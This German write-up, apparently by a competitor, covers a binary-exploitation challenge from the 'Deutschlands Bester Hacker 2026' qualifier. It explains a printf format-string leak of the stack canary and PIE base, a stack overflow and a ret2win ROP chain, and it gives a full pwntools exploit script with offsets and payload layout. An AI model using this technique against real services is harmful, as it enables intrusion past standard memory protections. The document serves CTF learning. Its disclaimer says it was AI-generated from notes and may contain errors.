Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.
| Wettbewerb | Deutschlands Bester Hacker 2026 — Qualifikation |
| Kategorie | PwnBinary ExploitationAusnutzung von Speicher- oder Logikfehlern in kompilierten Anwendungen. |
| Punkte | 428 |
| Architektur | x86-64, Full RELRO · CanaryStack CanaryZufälliger Wächterwert vor der Rücksprungadresse, dessen Veränderung einen Stack-Überlauf verrät. · NX · PIE |
| Angriffsklasse | Format-String-Leak + ROPReturn-Oriented ProgrammingExploit-Technik, die vorhandene Codeschnipsel verkettet, statt eigenen Code einzuschleusen. (ret2win) |
Die Challenge
Beim Netz-Scan im Rückbau-Projekt Altnetz taucht eine IP auf, die laut Bestandsliste seit Jahren keinem aktiven System mehr zugeordnet ist. Dahinter antwortet trotzdem ein Dienst: ein Diagnose-Programm, das Feldtechniker für Selbsttests an Steuerungshardware genutzt haben. Kein Login, kein Handbuch — nur ein offener TCP-Port (TLSTransport Layer SecuritySchützt Netzwerkverbindungen durch Verschlüsselung, Authentifizierung und Integritätsprüfung.) und ein Prozess, der sich für ziemlich gut abgesichert hält.
Zwei Stufen, vier Schutzmechanismen, eine win()-Funktion mit einer sehr genauen
Vorstellung davon, was in einem bestimmten Register stehen muss.
Ziel: win() liest /flag.txt und gibt sie aus — aber nur, wenn ihr Argument exakt
0xdeadbeefcafebabe ist. Das Argument steht bei Aufruf im Register rdi.
Aufklärung
Zwei Dateien liegen vor: das Binary vuln und der Quelltext vuln.c.
$ checksec vuln
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Alle vier Standard-Mitigations sind aktiv. Der Trick der Challenge: das Binary liefert die
Bausteine selbst mit — eine win()-Funktion und ein handgeschriebenes pop rdi ; ret-Gadget.
Wir müssen nur zwei Dinge beschaffen: den Canary und die PIE-Basisadresse. Beides
schenkt uns Stufe 1.
| Schutz | Status | Antwort |
|---|---|---|
| PIE | umgangen | Format-String leakt eine Rücksprungadresse → PIE-Basis zurückrechnen |
| Stack Canary | umgangen | Format-String leakt den Canary → beim Overflow unverändert einsetzen |
| NX | umgangen | Kein ShellcodeShellcodeKompakter Maschinencode, der nach erfolgreicher Ausnutzung direkt vom Zielprozess ausgeführt wird. nötig — ROP auf vorhandenen Code (ret2win) |
| Full RELRO | irrelevant | Weg führt über die Rücksprungadresse, nicht die GOT |
Die Schwachstelle
Stufe 1 — Format String Oracle. Stufe 1 gibt uns genau einen Format-String. Der verwundbare Aufruf reicht unsere Eingabe ungefiltert als Format-String weiter:
// vuln.c · stage1_leak()
char buf[64];
fgets(buf, sizeof(buf), stdin);
printf(buf); // <-- kein Format-Argument: Format-String-Bug
Über positionale Argumente (%N$p) lesen wir gezielt Stack-Werte aus. Bei x86-64 kommen die
ersten fünf Argumente aus Registern (rsi, rdx, rcx, r8, r9), ab %6$ geht es auf dem Stack
weiter — und dort liegt buf bei rbp-0x50:
| Position | Stack-Offset | Inhalt |
|---|---|---|
%6$ |
rbp-0x50 |
buf (unsere Eingabe) |
%15$ |
rbp-0x08 |
Stack Canary |
%16$ |
rbp+0x00 |
gespeichertes RBP |
%17$ |
rbp+0x08 |
Rücksprung → main+0x14ea |
Stufe 2 — Stack-OverflowBuffer OverflowSchreiben über die Grenze eines Speicherpuffers hinaus, wodurch benachbarte Daten überschrieben werden.. Stufe 2 liest bis zu 256 Bytes in einen 48-Byte-Puffer:
// vuln.c · stage2_overflow()
char buf[48];
read(0, buf, 256); // 256 in 48 Bytes -> Overflow
Der Puffer beginnt bei rbp-0x40, der Canary liegt bei rbp-0x08. Bis zum Canary sind es
also 0x38 = 56 Bytes.
Der Angriff
Ein einziges PayloadPayloadTeil eines Angriffs oder Exploits, der die beabsichtigte schädliche Wirkung ausführt. holt Canary und PIE-Anker gleichzeitig ab:
"%15$p|%17$p" -> 0x<canary> | 0x<ret_in_main>
Der geleakte Wert %17$p ist die Rücksprungadresse direkt hinter dem call stage1_leak in
main — PIE-relativ immer 0x14ea. Damit gilt PIE_base = leak17 - 0x14ea.
Zwei kurze Plausibilitätsprüfungen fangen einen Fehl-Leak sofort ab: der Canary endet auf
0x00 (little-endian NUL-Byte), und die PIE-Basis ist immer page-aligned.
Dann der Overflow: nach oben überschreiben, den Canary unverändert wieder einsetzen und dahinter die ROP-Kette anhängen:
höhere Adressen
┌──────────────────────────────────────────────────────────┐
│ rbp+0x20 │ win() │ Ziel · liest /flag.txt │
│ rbp+0x18 │ ret │ Alignment-Gadget │
│ rbp+0x10 │ 0xdeadbeefcafebabe │ -> rdi (MAGIC) │
│ rbp+0x08 │ pop rdi ; ret │ Rücksprung (überschr.) │
│ rbp+0x00 │ 0xdeadc0de │ saved RBP (egal) │
│ rbp-0x08 │ <canary> │ muss EXAKT stimmen │
│ rbp-0x40 │ "A" x 56 │ buf[48] + Padding │
└──────────────────────────────────────────────────────────┘
niedrigere Adressen (Overflow schreibt von unten nach oben)
Warum das extra ret? Bei Eintritt in win() wäre rsp auf ein 16-Byte-Vielfaches
ausgerichtet — die SysV-ABI erwartet aber rsp % 16 == 8. Ohne Korrektur crasht ein movaps
in glibc (puts/fopen/fgets) innerhalb von win. Ein einzelnes ret-Gadget verschiebt
den Stack um 8 Bytes und richtet alles korrekt aus.
Das entscheidende Gadget liefert das Binary frei Haus: in gadget_hint() steht direkt hinter
einem endbr64 ein pop rdi ; ret.
| Symbol | PIE-Offset | Rolle |
|---|---|---|
win |
0x1251 |
Zielfunktion, prüft rdi == MAGIC |
pop rdi ; ret |
0x1352 |
lädt MAGIC in rdi |
ret |
0x1353 |
Stack-Alignment (16-Byte) |
ret -> main |
0x14ea |
Leak-Anker für PIE-Basis |
Der ExploitExploitCode oder Technik, die eine Schwachstelle gezielt ausnutzt.:
from pwn import *
import sys
context.arch = "amd64"
OFF_WIN = 0x1251
OFF_POP_RDI = 0x1352 # pop rdi ; ret
OFF_RET = 0x1353 # ret (Alignment)
OFF_RET_TO_MAIN = 0x14ea # Leak-Anker in main
MAGIC = 0xdeadbeefcafebabe
def start():
if len(sys.argv) >= 3:
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port, ssl=True) # == ncat --ssl
return process("./vuln")
io = start()
# --- Stufe 1: Canary + PIE-Basis leaken ---
io.recvuntil(b"Make it count.")
io.sendline(b"%15$p|%17$p")
io.recvuntil(b"0x")
canary_hex, ret_hex = (b"0x" + io.recvline().strip()).split(b"|")
canary = int(canary_hex, 16)
pie_base = int(ret_hex, 16) - OFF_RET_TO_MAIN
assert canary & 0xff == 0 # Canary endet auf NUL
assert pie_base & 0xfff == 0 # PIE page-aligned
pop_rdi = pie_base + OFF_POP_RDI
ret = pie_base + OFF_RET
win = pie_base + OFF_WIN
# --- Stufe 2: Overflow + ret2win ---
io.recvuntil(b"what you've got.")
payload = b"A" * 56 # bis zum Canary (0x40 - 0x08)
payload += p64(canary) # Canary intakt wiedereinsetzen
payload += p64(0xdeadc0de) # saved rbp
payload += p64(pop_rdi) # -> rdi = MAGIC
payload += p64(MAGIC)
payload += p64(ret) # 16-Byte-Alignment
payload += p64(win) # win(MAGIC) -> Flag
io.send(payload)
io.recvuntil(b"=== CONGRATULATIONS ===")
print(io.recvall(timeout=5).decode(errors="replace"))
Ohne Argumente startet das Skript das lokale Binary (./vuln) zum Testen.
Hinweis: Die Kette ist deterministisch aufgebaut; die
recvuntil()-Marker müssen gegebenenfalls an die tatsächlichen Prompt-Strings der Instanz angepasst werden. Die Exploit-Logik bleibt davon unberührt.
Die Flag
win() validiert rdi, öffnet /flag.txt und gibt sie aus:
=== CONGRATULATIONS ===
DBH{ ... wird vom Server ausgegeben ... }
Was ich mitnehme
AngriffsketteCyber Kill ChainModell zur Beschreibung aufeinanderfolgender Phasen eines Cyberangriffs. in einem Satz: Format-String leakt Canary und PIE-Basis → Stack-Overflow mit
intaktem Canary → ROP lädt rdi = 0xdeadbeefcafebabe → win() gibt die Flag aus.
Vier aktivierte Mitigations klingen nach viel, sind aber wertlos, sobald eine einzige
Info-Leak-Primitive existiert. Canary und PIE sind Geheimnisse — und ein printf(buf) ist
eine generische Geheimnis-Leseprimitive. NX und Full RELRO wiederum schützen nur gegen
Angriffe, die man gar nicht braucht, wenn das Binary die Gadgets und ein win() gleich
mitbringt.